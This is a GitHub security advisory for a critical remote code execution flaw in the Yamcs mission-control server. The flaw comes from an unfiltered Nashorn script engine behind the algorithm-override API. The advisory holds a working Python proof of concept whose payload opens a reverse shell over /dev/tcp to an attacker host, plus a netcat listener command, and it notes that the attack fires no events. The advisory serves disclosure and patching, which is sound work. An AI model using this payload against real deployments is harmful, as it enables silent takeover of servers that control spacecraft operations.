Skip to content

Yamcs Vulnerable to Remote Code Execution via Mission Database algorithm override

Critical severity GitHub Reviewed Published May 21, 2026 in yamcs/yamcs • Updated May 27, 2026

Package

maven org.yamcs:yamcs-core (Maven)

Affected versions

< 5.12.7

Patched versions

5.12.7

Description

Remote Code Execution via Mission Database algorithm override

Summary

The Nashorn ScriptEngine used to evaluate user-supplied algorithm text in MdbOverrideApi.updateAlgorithm is constructed without a ClassFilter, allowing a user with the ChangeMissionDatabase privilege to execute arbitrary Java code on the Yamcs server. In Yamcs's default configuration (no security.yaml), the built-in guest user has superuser=true, so the vulnerability is reachable without authentication.

Details

Vulnerable file: yamcs-core/src/main/java/org/yamcs/algorithms/ScriptAlgorithmExecutorFactory.java

// L46-53  Nashorn engine obtained without a ClassFilter
ScriptEngineFactory factory = scriptEngineManager.getEngineFactories().stream()
        .filter(candidate -> !JDK_BUILTIN_NASHORN_ENGINE_NAME.equals(candidate.getEngineName())
                && candidate.getNames().contains(language))
        .findFirst().orElse(null);
if (factory != null) {
    scriptEngine = factory.getScriptEngine();          // ← ClassFilter not supplied
}

// L109  user-supplied algorithm text reaches eval()
scriptEngine.eval(functionScript);

NashornScriptEngineFactory.getScriptEngine() accepts an optional ClassFilter that restricts which classes JavaScript can reach via Java.type(...). Yamcs passes no filter, so attacker-supplied JavaScript can reach any Java class — for example, Java.type("java.lang.Runtime").getRuntime().exec(...) runs arbitrary OS commands inside the Yamcs JVM.

The path from HTTP request to eval is:
MdbOverrideApi.updateAlgorithm (yamcs-core/src/main/java/org/yamcs/http/api/MdbOverrideApi.java:145-189)
AlgorithmManager.overrideAlgorithm (yamcs-core/src/main/java/org/yamcs/algorithms/AlgorithmManager.java:529-559)
ScriptAlgorithmExecutorFactory.makeExecutor (yamcs-core/src/main/java/org/yamcs/algorithms/ScriptAlgorithmExecutorFactory.java:102-117)
scriptEngine.eval(...).

PoC

Run against any reachable Yamcs deployment that has at least one JavaScript CustomAlgorithm in its MDB (the simulator example MDB includes several, such as /YSS/SIMULATOR/Battery_Voltage_Avg).

Attacker-side listener:

nc -lvnp 4444
#!/usr/bin/env python3
"""
Usage: python3 <poc>.py http://target:8090 LHOST LPORT
"""
import json, sys, time, urllib.request

TARGET    = sys.argv[1].rstrip("/")
LHOST     = sys.argv[2]
LPORT     = int(sys.argv[3])
INSTANCE  = "simulator"
PROCESSOR = "realtime"
ALGORITHM = "YSS/SIMULATOR/Battery_Voltage_Avg"

# Close the generated wrapper function with `}`, execute the payload at
# top level, then re-open a dummy function so the trailing `}` emitted
# by ScriptAlgorithmExecutorFactory parses. No throw -> no event fired.
payload = (
    '} '
    'Java.type("java.lang.Runtime").getRuntime().exec('
    f'["bash","-c","exec 3<>/dev/tcp/{LHOST}/{LPORT}; id >&3; sh -i <&3 >&3 2>&3"]); '
    'function _x(){'
)

patch = f"{TARGET}/api/mdb-overrides/{INSTANCE}/{PROCESSOR}/algorithms/{ALGORITHM}"

def http(method, url, body=None):
    req = urllib.request.Request(url, data=json.dumps(body).encode() if body else None,
                                  method=method, headers={"Content-Type": "application/json"})
    return urllib.request.urlopen(req, timeout=10).read()

http("PATCH", patch, {"action": "SET", "algorithm": {"text": payload}})
time.sleep(2)
http("PATCH", patch, {"action": "RESET"})

nashorn-rce-poc

The override path emits events only when evaluation fails: a WARNING from ScriptAlgorithmExecutorFactory.java:112 and a CRITICAL from AlgorithmManager.java:546. Any syntactically valid payload — like the one above — succeeds silently and no event is fired, so the attack leaves no trace in the Yamcs event stream.

Impact

Arbitrary code runs as the OS user running the Yamcs server, leading to compromise of that server and disruption of the mission it controls.

For a Yamcs deployment managing spacecraft operations, an attacker can:

  • forge or block telecommands, suppress alarms, and tamper with the telemetry archive — disrupting or seizing control of the mission;
  • read any file the Yamcs process can read (cryptographic keys, credentials, MDB source files, configuration);
  • pivot to other ground-station systems reachable from the server (TSE instruments, neighboring Yamcs instances, internal services);
  • install a persistent backdoor via the same primitive.

Who is impacted:

  • All Yamcs deployments running in the default configuration (no security.yaml present): any unauthenticated network attacker that can reach the HTTP API port (default 8090).
  • Yamcs deployments with security enabled: any user that has been granted the ChangeMissionDatabase system privilege. This privilege is commonly given to MDB engineers and operators who edit calibrators or thresholds; the vulnerability turns that privilege into arbitrary code execution on the server.

Affected Versions

All Yamcs releases that ship the algorithm override endpoint are affected — no ClassFilter has ever been applied to the script engine.

  • First vulnerable release: yamcs-4.7.3 (2018-11-22). Introduced in commit 951e505d18a3912813b59edc685cbcbd4c609906 ("added possibility to change in a running processor alarms, calibrations and algorithms texts"). The commit added the ChangeAlgorithmRequest RPC (later renamed UpdateAlgorithmRequest) and routed it as PATCH /api/mdb/{instance}/{processor}/algorithms/{name*}.
  • Routing change at yamcs-5.5.0 (2021-04): the endpoint was split out of MdbApi into MdbOverrideApi and moved to PATCH /api/mdb-overrides/{instance}/{processor}/algorithms/{name*}. The underlying scriptEngine.eval(...) sink and the missing ClassFilter are identical.
  • Latest release: yamcs-5.12.6 (commit f1a26fe54587fab9960d7e53fc1bf0c879220e9e) is affected. These four files (MdbOverrideApi.java, AlgorithmManager.java, ScriptAlgorithmExecutorFactory.java, SecurityStore.java) are unchanged between 5.12.6 and current master (96d3e2d474415bea859f40ecbddc1bb8a0d141c1) — no upstream fix exists.

In short: every Yamcs release from 4.7.3 through 5.12.6, plus current master, is vulnerable (133 release tags spanning 2018-11-22 to present).

References

@xpromache xpromache published to yamcs/yamcs May 21, 2026
Published to the GitHub Advisory Database May 27, 2026
Reviewed May 27, 2026
Last updated May 27, 2026

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

EPSS score

Weaknesses

Improper Control of Generation of Code ('Code Injection')

The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment. Learn more on MITRE.

Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')

The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes code syntax before using the input in a dynamic evaluation call (e.g. eval). Learn more on MITRE.

Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')

The product uses external input with reflection to select which classes or code to use, but it does not sufficiently prevent the input from selecting improper classes or code. Learn more on MITRE.

CVE ID

CVE-2026-46562

GHSA ID

GHSA-vmwp-vh32-rj75

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.